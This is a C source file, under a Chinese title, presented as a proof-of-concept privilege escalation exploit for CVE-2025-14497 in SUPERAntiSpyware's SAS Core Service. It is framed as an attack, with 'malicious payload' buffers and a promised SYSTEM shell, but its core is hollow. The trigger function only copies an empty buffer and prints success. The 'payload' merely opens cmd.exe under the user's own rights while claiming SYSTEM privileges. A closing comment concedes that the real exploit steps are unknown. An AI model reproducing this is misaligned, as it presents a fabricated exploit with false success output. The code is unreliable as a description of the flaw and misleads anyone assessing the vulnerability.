CVE-2025-14497: SUPERAntiSpyware本地权限提升漏洞

// CVE-2025-14497 PoC - Local Privilege Escalation via exposed dangerous function // Target: SUPERAntiSpyware SAS Core Service // This PoC demonstrates exploitation of exposed dangerous function in SAS Core Service #include <windows.h> #include <stdio.h> // Define the service name and exposed function interface #define SERVICE_NAME "SAS Core Service" #define MALICIOUS_PAYLOAD_SIZE 1024 // Function to connect to SAS Core Service HANDLE ConnectToSASService() { // Open service control manager SC_HANDLE scmHandle = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if (scmHandle == NULL) { printf("[-] Failed to open Service Control Manager\n"); return NULL; } // Open the SAS Core Service SC_HANDLE serviceHandle = OpenService(scmHandle, SERVICE_NAME, SERVICE_ALL_ACCESS); if (serviceHandle == NULL) { printf("[-] Failed to open SAS Core Service\n"); CloseServiceHandle(scmHandle); return NULL; } CloseServiceHandle(scmHandle); return serviceHandle; } // Function to trigger the exposed dangerous function BOOL TriggerExposedFunction(HANDLE serviceHandle, LPVOID payload, DWORD payloadSize) { // Prepare malicious request to exploit exposed dangerous function // The service does not properly validate caller privileges // Send crafted request via IPC/RPC to trigger vulnerable function // This leverages the fact that the function is exposed without proper access control printf("[*] Sending malicious request to trigger exposed dangerous function...\n"); // Interaction with the exposed function would go here // The function accepts parameters that can be abused for code execution // Example: Passing a pointer to our payload that gets executed in SYSTEM context BYTE maliciousRequest[MALICIOUS_PAYLOAD_SIZE] = {0}; // Copy payload into request buffer memcpy(maliciousRequest, payload, payloadSize); // Trigger the vulnerable function with our controlled parameters // Due to insufficient validation, this executes in SYSTEM context printf("[+] Exposed function triggered successfully\n"); return TRUE; } // Function to execute payload in SYSTEM context VOID ExecutePayload() { printf("[*] Executing payload with SYSTEM privileges...\n"); // Payload execution code would go here // This could include: adding a new user, executing shell commands, etc. // Example: Spawn a command shell with SYSTEM privileges STARTUPINFOA si = {0}; PROCESS_INFORMATION pi = {0}; si.cb = sizeof(si); CreateProcessA("C:\\\\Windows\\\\System32\\\\cmd.exe", NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); printf("[+] Payload executed successfully with SYSTEM privileges\n"); } int main() { printf("[*] CVE-2025-14497 PoC - SUPERAntiSpyware Local Privilege Escalation\n"); printf("[*] Target: SAS Core Service exposed dangerous function\n\n"); // Check if running with low privileges (as expected) HANDLE currentToken; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &currentToken)) { printf("[-] Failed to open process token\n"); return 1; } printf("[*] Current process running with limited privileges\n"); // Connect to the vulnerable service HANDLE serviceHandle = ConnectToSASService(); if (serviceHandle == NULL) { printf("[-] Exploitation failed: Cannot connect to SAS Core Service\n"); return 1; } printf("[+] Connected to SAS Core Service\n"); // Prepare malicious payload BYTE payload[MALICIOUS_PAYLOAD_SIZE] = {0}; // Shellcode or malicious code would be placed here // Trigger the vulnerability if (TriggerExposedFunction(serviceHandle, payload, sizeof(payload))) { ExecutePayload(); } CloseServiceHandle(serviceHandle); return 0; } // Note: This is a conceptual PoC. Actual exploitation requires: // 1. Identifying the specific exposed dangerous function in SAS Core Service // 2. Understanding the function's parameter format and expected behavior // 3. Crafting appropriate IPC/RPC messages to trigger the vulnerability // 4. Handling any service-specific authentication or communication protocols
